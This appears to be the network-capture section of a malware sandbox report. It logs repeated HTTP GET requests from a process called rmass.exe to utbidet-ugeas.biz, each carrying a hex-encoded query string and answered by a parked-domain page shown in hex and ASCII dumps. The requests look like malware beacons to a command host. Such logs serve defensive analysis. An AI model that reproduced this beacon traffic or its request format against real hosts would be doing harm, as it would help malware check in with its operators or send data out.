Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	58907	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:49:24.720659018 CET	169	OUT	GET /d/N?0265A4440B65A4440B4BA4680B65A46CB3618866CF64A484A367A07225578A7D3955946A0B HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:49:25.184464931 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:49:24 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: ee089201-be71-4867-b68b-892d8523b299 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Ji05wP/1o/nGnMnEuoogWUg2MU6qKe7KfZMCmlWNdj0cQPaHxx+CPTcnREb2xqjLFIIgaZm+DAOvUXiqHSyNtA== set-cookie: parking_session=ee089201-be71-4867-b68b-892d8523b299; expires=Sun, 05 Jan 2025 10:04:25 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 4a 69 30 35 77 50 2f 31 6f 2f 6e 47 6e 4d 6e 45 75 6f 6f 67 57 55 67 32 4d 55 36 71 4b 65 37 4b 66 5a 4d 43 6d 6c 57 4e 64 6a 30 63 51 50 61 48 78 78 2b 43 50 54 63 6e 52 45 62 32 78 71 6a 4c 46 49 49 67 61 5a 6d 2b 44 41 4f 76 55 58 69 71 48 53 79 4e 74 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Ji05wP/1o/nGnMnEuoogWUg2MU6qKe7KfZMCmlWNdj0cQPaHxx+CPTcnREb2xqjLFIIgaZm+DAOvUXiqHSyNtA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:49:25.184658051 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZWUwODkyMDEtYmU3MS00ODY3LWI2OGItODkyZDg1MjNiMjk5IiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	58914	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:49:25.569224119 CET	169	OUT	GET /d/N?020A7D57C50A7D57C5247D7BC50A7D7F7D0E5175010B7D976D087961EB38536EF73A4D79C5 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:49:26.036276102 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:49:25 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: fbab41fb-940e-4321-9c8b-05ce721121fb cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_KbHeao75O/F+3caDXTzvEBfa9cax5s5s29D9GuJ96V8OK/lwptQgIpX2hvJv5Wf9GCUeI89zWrknIXiy+bYHqQ== set-cookie: parking_session=fbab41fb-940e-4321-9c8b-05ce721121fb; expires=Sun, 05 Jan 2025 10:04:25 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 4b 62 48 65 61 6f 37 35 4f 2f 46 2b 33 63 61 44 58 54 7a 76 45 42 66 61 39 63 61 78 35 73 35 73 32 39 44 39 47 75 4a 39 36 56 38 4f 4b 2f 6c 77 70 74 51 67 49 70 58 32 68 76 4a 76 35 57 66 39 47 43 55 65 49 38 39 7a 57 72 6b 6e 49 58 69 79 2b 62 59 48 71 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_KbHeao75O/F+3caDXTzvEBfa9cax5s5s29D9GuJ96V8OK/lwptQgIpX2hvJv5Wf9GCUeI89zWrknIXiy+bYHqQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:49:26.036300898 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZmJhYjQxZmItOTQwZS00MzIxLTljOGItMDVjZTcyMTEyMWZiIiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	58941	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:49:29.026154041 CET	169	OUT	GET /d/N?025C2BCA2C5C2BCA2C722BE62C5C2BE2945807E8E85D2B0A845E2FFC026E05F31E6C1BE42C HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:49:29.517359972 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:49:28 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 5ba2fbe8-2919-4c46-98cb-cb927b90fcc2 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_LLgrQqCEbqeLDsZBY5P9A/SLm2mJSyaFyg0wHMLupimKphSm1Xvgw7yWalTy6TH/1OLFBESG9MKNKvJP1vjtzQ== set-cookie: parking_session=5ba2fbe8-2919-4c46-98cb-cb927b90fcc2; expires=Sun, 05 Jan 2025 10:04:29 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 4c 4c 67 72 51 71 43 45 62 71 65 4c 44 73 5a 42 59 35 50 39 41 2f 53 4c 6d 32 6d 4a 53 79 61 46 79 67 30 77 48 4d 4c 75 70 69 6d 4b 70 68 53 6d 31 58 76 67 77 37 79 57 61 6c 54 79 36 54 48 2f 31 4f 4c 46 42 45 53 47 39 4d 4b 4e 4b 76 4a 50 31 76 6a 74 7a 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_LLgrQqCEbqeLDsZBY5P9A/SLm2mJSyaFyg0wHMLupimKphSm1Xvgw7yWalTy6TH/1OLFBESG9MKNKvJP1vjtzQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:49:29.517381907 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNWJhMmZiZTgtMjkxOS00YzQ2LTk4Y2ItY2I5MjdiOTBmY2MyIiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	58946	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:49:29.830293894 CET	169	OUT	GET /d/N?02BF0440CFBF0440CF91046CCFBF046877BB28620BBE048067BD0076E18D2A79FD8F346ECF HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:49:30.283948898 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:49:29 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 11a69d21-802c-4144-a980-d79a556c8001 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_BycDoyCQYsm8JZiBN3DIwb39Mx0cXcuKWFaa0g/1GxBawmOCKe9w6n+i3RHh4ffCQjqdOMddlK61FwGDTdjt3g== set-cookie: parking_session=11a69d21-802c-4144-a980-d79a556c8001; expires=Sun, 05 Jan 2025 10:04:30 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 42 79 63 44 6f 79 43 51 59 73 6d 38 4a 5a 69 42 4e 33 44 49 77 62 33 39 4d 78 30 63 58 63 75 4b 57 46 61 61 30 67 2f 31 47 78 42 61 77 6d 4f 43 4b 65 39 77 36 6e 2b 69 33 52 48 68 34 66 66 43 51 6a 71 64 4f 4d 64 64 6c 4b 36 31 46 77 47 44 54 64 6a 74 33 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_BycDoyCQYsm8JZiBN3DIwb39Mx0cXcuKWFaa0g/1GxBawmOCKe9w6n+i3RHh4ffCQjqdOMddlK61FwGDTdjt3g==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:49:30.283996105 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMTFhNjlkMjEtODAyYy00MTQ0LWE5ODAtZDc5YTU1NmM4MDAxIiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	58964	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:49:32.166506052 CET	169	OUT	GET /d/N?029479E6219479E621BA79CA219479CE999055C4E595792689967DD00FA657DF13A449C821 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:49:32.639581919 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:49:31 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 5fcc70c1-ba48-40f7-b76c-da580109c7e8 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_BnImBbkF9vPqqSn51CvXim8VwdbnlP1Z3O6/vXeKLy9HvCJgobio2w1hmnq5pDS1OKrPZC25qx+6oB5g/75Xwg== set-cookie: parking_session=5fcc70c1-ba48-40f7-b76c-da580109c7e8; expires=Sun, 05 Jan 2025 10:04:32 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 42 6e 49 6d 42 62 6b 46 39 76 50 71 71 53 6e 35 31 43 76 58 69 6d 38 56 77 64 62 6e 6c 50 31 5a 33 4f 36 2f 76 58 65 4b 4c 79 39 48 76 43 4a 67 6f 62 69 6f 32 77 31 68 6d 6e 71 35 70 44 53 31 4f 4b 72 50 5a 43 32 35 71 78 2b 36 6f 42 35 67 2f 37 35 58 77 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_BnImBbkF9vPqqSn51CvXim8VwdbnlP1Z3O6/vXeKLy9HvCJgobio2w1hmnq5pDS1OKrPZC25qx+6oB5g/75Xwg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:49:32.639600039 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNWZjYzcwYzEtYmE0OC00MGY3LWI3NmMtZGE1ODAxMDljN2U4IiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	58972	199.59.243.228	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:49:33.082859993 CET	169	OUT	GET /d/N?0298CEA99B98CEA99BB6CE859B98CE81239CE28B5F99CE69339ACA9FB5AAE090A9A8FE879B HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:49:33.555757046 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:49:33 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 8db03c7e-f8aa-4f49-8493-54690e506465 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_UBKbC00Fwu+63T/9g+1Zx/DixWTSYf9zRyLnUasyxMepfadNgsZuWUeq4WnqVaMSanaHBzUyq9/6AKDIMPbnbQ== set-cookie: parking_session=8db03c7e-f8aa-4f49-8493-54690e506465; expires=Sun, 05 Jan 2025 10:04:33 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 55 42 4b 62 43 30 30 46 77 75 2b 36 33 54 2f 39 67 2b 31 5a 78 2f 44 69 78 57 54 53 59 66 39 7a 52 79 4c 6e 55 61 73 79 78 4d 65 70 66 61 64 4e 67 73 5a 75 57 55 65 71 34 57 6e 71 56 61 4d 53 61 6e 61 48 42 7a 55 79 71 39 2f 36 41 4b 44 49 4d 50 62 6e 62 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_UBKbC00Fwu+63T/9g+1Zx/DixWTSYf9zRyLnUasyxMepfadNgsZuWUeq4WnqVaMSanaHBzUyq9/6AKDIMPbnbQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:49:33.555769920 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiOGRiMDNjN2UtZjhhYS00ZjQ5LTg0OTMtNTQ2OTBlNTA2NDY1IiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	58988	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:49:35.251374960 CET	169	OUT	GET /d/N?026073BAAC6073BAAC4E7396AC60739214645F986861737A0462778C82525D839E504394AC HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:49:35.715195894 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:49:35 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 51f8f544-9832-4d51-92a1-e4dff2cbcbf3 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_PPXdJ95cQyoalbIEnEKWEp1hDWy1QHW4dpDYtkDj1iRhunO7fpZZy1Qh9Nu/I8G4mR7jIhGSc93K8/fYfxRigw== set-cookie: parking_session=51f8f544-9832-4d51-92a1-e4dff2cbcbf3; expires=Sun, 05 Jan 2025 10:04:35 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 50 50 58 64 4a 39 35 63 51 79 6f 61 6c 62 49 45 6e 45 4b 57 45 70 31 68 44 57 79 31 51 48 57 34 64 70 44 59 74 6b 44 6a 31 69 52 68 75 6e 4f 37 66 70 5a 5a 79 31 51 68 39 4e 75 2f 49 38 47 34 6d 52 37 6a 49 68 47 53 63 39 33 4b 38 2f 66 59 66 78 52 69 67 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 